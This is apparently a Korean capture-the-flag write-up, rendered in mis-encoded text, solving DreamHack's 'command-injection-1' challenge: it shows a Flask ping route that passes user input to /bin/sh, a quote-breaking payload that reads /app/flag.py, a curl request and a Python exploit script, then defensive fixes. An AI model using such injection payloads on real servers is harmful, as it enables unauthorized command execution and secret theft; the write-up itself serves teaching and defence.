๋ฌธ์ : DreamHack โ command-injection-1 ๋ถ๋ฅ: Web (OS Command Injection) ๋์ด๋: ๐ฑ ์์น (Sprout) FLAG:
DH{pingpingppppppppping!!}
"Dreamhack Ping Tester"๋ผ๋ ์ด๋ฆ ๊ทธ๋๋ก, IP๋ฅผ ๋ฃ์ผ๋ฉด ์๋ฒ๊ฐ ping์ ๋๋ ค ๊ฒฐ๊ณผ๋ฅผ ๋ณด์ฌ์ฃผ๋ ํ์ด์ง๋ค. ํ๋ฉด์ ๋จ์ํ์ง๋ง ์
๋ ฅํ ๊ฐ์ด ์
ธ ๋ช
๋ น ๋ฌธ์์ด์ ๊ทธ๋๋ก ๋ค์ด๊ฐ๋ ์ ํ์ ์ธ ์ปค๋งจ๋ ์ธ์ ์
๋ฌธ์ ๋ค. ๋ฐ์ดํ ์์ ๋ค์ด๊ฐ ์์ด์ ํ ๋ฒ ๋ซ์์ฃผ๋ ๊ฒ๋ง ์ถ๊ฐํ๋ฉด ๋๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | command-injection-1 |
| ๋์ด๋ | ๐ฑ ์์น (Sprout) |
| ๋ถ๋ฅ | Web (OS Command Injection) |
| ์ ๊ณต | Flask ์์ค + ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | ์ฌ์ฉ์ ์
๋ ฅ์ f-string์ผ๋ก ์
ธ ๋ช
๋ น์ ๊ทธ๋๋ก ์ฝ์
|
๋ฌธ์ ์์ถ์ ํ๋ฉด Flask ์ฑ ํ๋๊ฐ ์ ๋ถ๋ค. / ๋ ์๋ด ํ์ด์ง, /ping ์ด ์ค์ ๊ธฐ๋ฅ์ด๋ค.
๋ถ์
์๋ฒ ์ฝ๋
app.py์ ํต์ฌ์ /ping ๋ผ์ฐํธ๋ค.
@APP.route('/ping', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'ping -c 3 "{host}"'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('ping_result.html', data=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('ping_result.html', data='Timeout !')
except subprocess.CalledProcessError:
return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
return render_template('ping.html')๋ฌธ์ ๊ฐ ๋๋ ์ค์ ๋ฑ ๋ ๊ฐ๋ค.
cmd = f'ping -c 3 "{host}"'
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)host๋ฅผ ํฐ๋ฐ์ดํ๋ก ๊ฐ์ธ ๋ช
๋ น ๋ฌธ์์ด์ ๋ง๋ ๋ค, ๊ทธ ๋ฌธ์์ด์ ํต์งธ๋ก /bin/sh -c ์ ๋๊ธด๋ค. subprocess๋ฅผ ๋ฆฌ์คํธ ํํ๋ก ํธ์ถํ๊ธด ํ์ง๋ง ์ ์ ๊ทธ ๋ฆฌ์คํธ๊ฐ ['/bin/sh', '-c', cmd] ๋ผ, ์
ธ์ด cmd ๋ฌธ์์ด์ ๋ค์ ํ์ฑํ๋ค. ์
๋ ฅ ๊ฒ์ฆ์ ์ด๋์๋ ์๋ค. ํฐ๋ฐ์ดํ ์์ ๊ฐํ ์๋ค๋ ์ ๋ง ๋นผ๋ฉด ์
๋ ฅ์ ๊ทธ๋๋ก ์
ธ์ ๋์ง๋ ์
์ด๋ค.
ํ๋๊ทธ๊ฐ ์ด๋ ์๋์ง๋ flag.py ํ ์ค๋ก ๋ช
ํํ๋ค.
FLAG = 'DH{[REDACTED]}'app.py๊ฐ from flag import FLAG ๋ก ๊ฐ์ ธ์ค๋, ์ปจํ
์ด๋ ์์์ /app/flag.py ๋ง ์ฝ์ผ๋ฉด ๋์ด๋ค. Dockerfile์ ๋ณด๋ฉด WORKDIR /app ์ด๊ณ ์์ค๊ฐ /app ์ผ๋ก ๋ณต์ฌ๋๋ฏ๋ก ๊ฒฝ๋ก๋ ํ์คํ๋ค.
์ ์ ๋์ ํ์ธ
/ping ์ ๋ค์ด๊ฐ๋ฉด host ์
๋ ฅ ํผ์ด ํ๋ ์๋ค.

ํ๋ฒํ๊ฒ 8.8.8.8 ์ ๋ฃ์ผ๋ฉด ์๋ฒ๊ฐ ping์ 3๋ฒ ๋๋ ค ๊ทธ ๊ฒฐ๊ณผ๋ฅผ <pre> ๋ก ๋ณด์ฌ์ค๋ค. ์
๋ ฅ์ด ์ค์ ์
ธ ๋ช
๋ น์ ์ธ์๋ก ๋ค์ด๊ฐ๋ค๋ ๊ฒ ๋์ผ๋ก ํ์ธ๋๋ค.

์ฝ์ง โ ํด๋ผ์ด์ธํธ ๊ฒ์ฆ์ ๋งํ๋ค
ํผ์ HTML์ ๋ณด๋ฉด ์
๋ ฅ์นธ์ pattern ์์ฑ์ด ๊ฑธ๋ ค ์๋ค.
<input type="text" class="form-control" id="Host" placeholder="8.8.8.8"
name="host" pattern="[A-Za-z0-9.]{5,20}" required>์๋ฌธ/์ซ์/์ ๋ง, 5~20๊ธ์. ๊ทธ๋์ ๋ธ๋ผ์ฐ์ ์์ ";cat /app/flag.py # ๊ฐ์ ํ์ด๋ก๋๋ฅผ ๋ฃ๊ณ Ping! ์ ๋๋ฅด๋ฉด ์ ์ก ์์ฒด๊ฐ ๋งํ๋ค.
โถ๋ธ๋ผ์ฐ์ ๊ฐ ๋ง์๋ฒ๋ฆฐ ํ๋ฉด

"์์ฒญํ ํ์๊ณผ ์ผ์น์ํค์ธ์." HTML5 pattern ์ ๊ธฐ๋ณธ ๊ฒ์ฆ ๋ฉ์์ง๋ค.
ํ์ง๋ง ์ด pattern ์ ํด๋ผ์ด์ธํธ(๋ธ๋ผ์ฐ์ )์์๋ง ๋๋ ๊ฒ์ฆ์ด๋ค. ์๋ฒ app.py ์ด๋์๋ host ํ์์ ๋ค์ ํ์ธํ๋ ์ฝ๋๊ฐ ์๋ค. ์ฆ ๋ธ๋ผ์ฐ์ ๋ฅผ ๊ฑฐ์น์ง ์๊ณ POST ์์ฒญ์ ์ง์ ๋ณด๋ด๋ฉด(๋๋ ๊ฐ๋ฐ์๋๊ตฌ๋ก pattern ์์ฑ์ ์ง์ฐ๋ฉด) ๊ทธ๋ฅ ํต๊ณผํ๋ค. ํด๋ผ์ด์ธํธ ๊ฒ์ฆ์ UX์ฉ ๊ฐ๋๋ ์ผ์ผ ๋ฟ, ๋ณด์ ๊ฒฝ๊ณ๊ฐ ์๋๋ผ๋ ๊ต๊ณผ์ ๊ฐ์ ์ฌ๋ก๋ค.
curl ํ ์ค์ด๋ฉด ํผ์ ์ ์ฝ๊ณผ ๋ฌด๊ดํ๊ฒ ์ํ๋ ๊ฐ์ ๊ทธ๋๋ก ๋ณด๋ผ ์ ์๋ค.
curl -s -X POST http://host3.dreamhack.games:12209/ping \
--data-urlencode 'host=8.8.8.8'ํ์ด๋ก๋ ์ค๊ณ
๋ช ๋ น ๋ฌธ์์ด์ด ๋ง๋ค์ด์ง๋ ๋ชจ์์ ๋ค์ ๋ณด์.
cmd = f'ping -c 3 "{host}"'
โโโโโโโโโโโโ โโโ
๊ณ ์ ๋ถ๋ถ ์ฐ๋ฆฌ๊ฐ ๋ฃ๋ hosthost ์๋ค๋ก ํฐ๋ฐ์ดํ๊ฐ ํ๋์ฉ ๋ถ๋๋ค. ๊ทธ๋์ ๋จผ์ ๋ฐ์ดํ(")๋ฅผ ํ๋ ๋ซ์ ping -c 3 "" ๋ก ๋๋ด๊ณ , ; ๋ก ์ ๋ช
๋ น์ ์์ํ ๋ค์ cat /app/flag.py ๋ฅผ ์ ๋๋ค. ๋ฌธ์ ๋ ํ
ํ๋ฆฟ์ด ๋ง์ง๋ง์ ๋ซ๋ ๋ฐ์ดํ ํ๋๋ฅผ ๋ ๋ถ์ธ๋ค๋ ๊ฒ โ ๊ทธ๋๋ก ๋๋ฉด ์ง์ด ์ ๋ง์ ์
ธ์ด ์๋ฌ๋ฅผ ๋ธ๋ค. ๋์ # ๋ฅผ ๋์ด ๊ทธ ๋ค๋ฅผ ํต์งธ๋ก ์ฃผ์ ์ฒ๋ฆฌํ๋ฉด ๊น๋ํ๊ฒ ์ ๋ฆฌ๋๋ค.
host = ";cat /app/flag.py #์ด๊ฑธ ๋ฃ์ผ๋ฉด ์ ธ์ด ๋ฐ๋ ์ต์ข ๋ฌธ์์ด์ ์ด๋ ๊ฒ ๋๋ค.
ping -c 3 "";cat /app/flag.py #"/bin/sh ๋ ์ด๊ฑธ ; ๊ธฐ์ค์ผ๋ก ์ธ ํ ๋ง์ผ๋ก ๋ณธ๋ค.

์ฌ๊ธฐ์ # ๊ฐ ์ค์ํ ์ด์ ๊ฐ ํ ๊ฐ์ง ๋ ์๋ค. app.py ๋ subprocess.check_output ์ ์ฐ๋๋ฐ, ์ด ํจ์๋ ๋ช
๋ น์ด 0์ด ์๋ ์ฝ๋๋ก ๋๋๋ฉด CalledProcessError ๋ฅผ ๋์ง๊ณ , ๊ทธ๋ฌ๋ฉด ์ฝ๋๊ฐ ์ถ๋ ฅ ๋์ ์๋ฌ ํ
ํ๋ฆฟ์ ๋ณด์ฌ์ค๋ค. ๋ง์ง๋ง์ ์คํ๋๋ ๋ช
๋ น์ด cat /app/flag.py(์กด์ฌํ๋ ํ์ผ โ ์ข
๋ฃ์ฝ๋ 0)๊ฐ ๋๋๋ก # ๋ก ๋ค๋ฅผ ์๋ผ์ฃผ๋ฉด, ์ ์ฒด๊ฐ 0์ผ๋ก ๋๋ ์ถ๋ ฅ์ด ์ ์์ ์ผ๋ก ์๋ต์ ์ค๋ฆฐ๋ค. ์ค๊ฐ์ ๋น ping -c 3 "" ๊ฐ ์คํจํ๋ ๋ง๋ ๋ง์ง๋ง ๋ช
๋ น์ ์ข
๋ฃ์ฝ๋๋ง ๋ณด๋ฉด ๋๋ ์๊ด์๋ค.
๋ฐ์ดํ๋ฅผ ๋ซ๊ณ ๋ช ๋ น ํ๋๋ง ๋ผ์ ๋ฃ๋๋ค โ ๋ธ๋๋ฆฌ์คํธ๋, ์๋ฒ์ธก ํ์ ๊ฒ์ฌ๋ ์์ผ๋ ์ฐํ๋ ๊ฒ๋ ์๋ ๊ฐ์ฅ ๊ธฐ๋ณธํ ์ธ์ ์ ์ด๋ค.
์ต์คํ๋ก์
์์ฒญ์ ์ง์ ๋ณด๋ด๊ณ ์๋ต์ <pre> ๋ง ๋ฝ์๋ด๋ ์งง์ ์คํฌ๋ฆฝํธ๋ก ์ ๋ฆฌํ๋ค.
# solve.py
import re, sys, html, urllib.request, urllib.parse
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:12209"
def ping(host: str) -> str:
data = urllib.parse.urlencode({"host": host}).encode()
req = urllib.request.Request(BASE.rstrip("/") + "/ping", data=data)
body = urllib.request.urlopen(req, timeout=10).read().decode("utf-8", "replace")
m = re.search(r"<pre>(.*?)</pre>", body, re.S)
return html.unescape(m.group(1)).strip() if m else "(no <pre> output)"
# 1) ์ ์ ๋์ ํ์ธ
print("[*] ์ ์ ping (8.8.8.8):")
print(ping("8.8.8.8"))
print()
# 2) ์ธ์ ์
โ ๋ฐ์ดํ ๋ซ๊ณ cat ์ฃผ์
, ๋์ #๋ก ๋ซ๋ ๋ฐ์ดํ ์ฃผ์์ฒ๋ฆฌ
payload = '";cat /app/flag.py #'
print(f"[*] ํ์ด๋ก๋: host={payload!r}")
out = ping(payload)
print("[*] ์๋ต <pre>:")
print(out)
# 3) ํ๋๊ทธ ์ถ์ถ
flag = re.search(r"DH\{[^}]*\}", out)
if flag:
print()
print("[+] FLAG:", flag.group(0))์คํํ๋ฉด ์ ์ ping ๊ฒฐ๊ณผ๊ฐ ํ ๋ฒ ์ฐํ๊ณ , ์ด์ด์ ์ธ์ ์
์๋ต ์๋ฆฌ์ flag.py ์ ๋ด์ฉ์ด ๊ทธ๋๋ก ๋์จ๋ค.

๋ธ๋ผ์ฐ์ ์์๋ ๋๊ฐ์ด ์ฌํ๋๋ค. ๊ฐ๋ฐ์๋๊ตฌ๋ก pattern ์์ฑ๋ง ์ง์ฐ๊ณ ํ์ด๋ก๋๋ฅผ ๋ฃ์ ๋ค,

Ping! ์ ๋๋ฅด๋ฉด ping ๊ฒฐ๊ณผ๊ฐ ์์ด์ผ ํ <pre> ์๋ฆฌ์ FLAG = 'DH{...}' ๊ฐ ๋ ์๋ค.

DH{pingpingppppppppping!!}๋ฐฉ์ด โ ์ด๋ป๊ฒ ๋ง๋
์ด ๋ฌธ์ ์ ๊ทผ๋ณธ ์์ธ์ ์ฌ์ฉ์ ์ ๋ ฅ์ ์ ธ ๋ช ๋ น ๋ฌธ์์ด๋ก ํฉ์น ๊ฒ์ด๋ค. ๋ง๋ ๋ฐฉํฅ์ ๋ถ๋ช ํ๋ค.
1. ์
ธ์ ๊ฑฐ์น์ง ์๋๋ค. ping ๊ฐ์ ์ธ๋ถ ๋ช
๋ น์ ์
ธ ๋ฌธ์์ด์ด ์๋๋ผ ์ธ์ ๋ฆฌ์คํธ๋ก ์ง์ ์คํํ๋ค. ์
ธ์ด ํ์ฑํ ๋ฌธ์์ด ์์ฒด๊ฐ ์์ผ๋ ๋ฉํ๋ฌธ์๋ฅผ ๋ฃ์ ์๋ฆฌ๋ ์ฌ๋ผ์ง๋ค.
# ๋์จ: ์
ธ์ด ๋ฌธ์์ด์ ๋ค์ ํ์ฑํ๋ค
subprocess.check_output(['/bin/sh', '-c', f'ping -c 3 "{host}"'])
# ์ข์: ์ธ์๋ฅผ ๋ฆฌ์คํธ๋ก โ host ๋ ping ์ ์ธ์ ํ ๊ฐ๋ก๋ง ์ ๋ฌ
subprocess.check_output(['ping', '-c', '3', host])๋ฆฌ์คํธ๋ก ๋๊ธฐ๋ฉด host ๊ฐ ";cat ..." ์ด๋ ๋ญ๋ ๊ทธ๊ฑด ๊ทธ๋ฅ "ํ์ ๋ณด๋ผ ํธ์คํธ ์ด๋ฆ"์ผ ๋ฟ์ด๋ผ, ping์ด "์ด๋ฆ ๋ชป ์ฐพ์" ์๋ฌ๋ฅผ ๋ผ ๋ฟ ๋ช
๋ น์ด ์คํ๋์ง ์๋๋ค.
2. ์
๋ ฅ์ ์๋ฒ์์ ๊ฒ์ฆํ๋ค. HTML pattern ์ ์ฌ์ฉ์ ํธ์์ผ ๋ฟ์ด๋ค. ํธ์คํธ/IP๋ง ๋ฐ์์ผ ํ๋ค๋ฉด ์๋ฒ์์๋ ์ ๊ท์ยทipaddress ๋ชจ๋ ๋ฑ์ผ๋ก ๋ค์ ํ์ธํด์ผ ํ๋ค. ํด๋ผ์ด์ธํธ ๊ฒ์ฆ์ ์ฐํ๋๋ ๊ฒ์ ์ ์ ๋ก ๋๋ค.
3. ๊ตณ์ด ์
ธ์ด ํ์ํ๋ฉด ์ด์ค์ผ์ดํํ๋ค. ์
ธ ํธ์ถ์ด ๋ถ๊ฐํผํ๋ค๋ฉด shlex.quote() ๋ก ์ธ์๋ฅผ ๊ฐ์ผ๋ค. ๋ค๋ง 1๋ฒ(๋ฆฌ์คํธ ์ธ์)์ด ๊ฐ๋ฅํ๋ฉด ๊ทธ์ชฝ์ด ํญ์ ๋ซ๋ค.
์์น ๋์ด๋๋ต๊ฒ ์ฐํ ๊ธฐ๊ต๊ฐ ํ์ ์๋ ๊น๋ํ ๊ธฐ๋ณธํ์ด์ง๋ง, "์ฌ์ฉ์ ์ ๋ ฅ + ์ ธ ๋ฌธ์์ด ์กฐํฉ"์ด๋ผ๋ ํจํด ํ๋๊ฐ ์ด๋ป๊ฒ ๊ณง์ฅ ์์ ๋ช ๋ น ์คํ์ผ๋ก ์ด์ด์ง๋์ง๋ฅผ ํ๋์ ๋ณด์ฌ์ฃผ๋ ๋ฌธ์ ์๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ